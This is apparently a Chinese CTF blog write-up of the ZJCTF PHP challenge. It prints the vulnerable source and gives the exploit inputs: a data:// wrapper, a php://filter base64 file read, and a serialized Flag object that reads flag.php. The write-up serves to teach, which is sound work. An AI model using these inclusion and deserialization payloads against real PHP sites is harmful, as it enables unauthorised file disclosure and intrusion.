前言
就直接上题目吧
这题有些意思
正文
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];//定义三个变量
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//做了强比较,可利用?echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//传入的内容进行输出,如果只是单纯使text=上述,绝对不能echo file_get_contents 绕过? if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php 包含,可利用?$password = unserialize($password);echo $password; //构建序列化,由于未做限制,可自由发挥}
}
else{highlight_file(__FILE__);
}
?>
大致情况
1.file_get_contents
2.文件包含
3.反序列化漏洞
再次审计分析,发现这里的强比较无法有效绕过 ,且/flag/被过滤
我们先尝试构建
EXP
首先要符合fgc
?data://text/plain,welcome to the zjctf
接下来是文件包含,获取提示给的useless.php内容
?file=php://filter/read=convert.base64-encode/resource=useless.php
输出的内容
<?php class Flag{ public $file; public function __tostring(){if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
这就很简单了
继续构建
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
........害搁这循序渐进是伐.......
但是没有其他可利用的地方了,然后f12看到了flag
..............................我真的就............................
算了算了
差不多就是这样
需要注意的是
1.三个变量缺一不可,因为题目有先后顺序
2.file=useless.php是因为给了提示,不要想太多
3.多尝试
结语
没想到我也有500粉丝了,真的是始料未及的事情
感谢各位师傅们的支持,未来我也会给大家带来更多的内容
不只是CTF
作者的其他文章
攻防世界-WEB-ics07-CSDN博客
NSSCTF-WEB-easy_eval-CSDN博客
NSSCTF-WEB-pklovecloud-CSDN博客
BugKu-WEB-sodirty-CSDN博客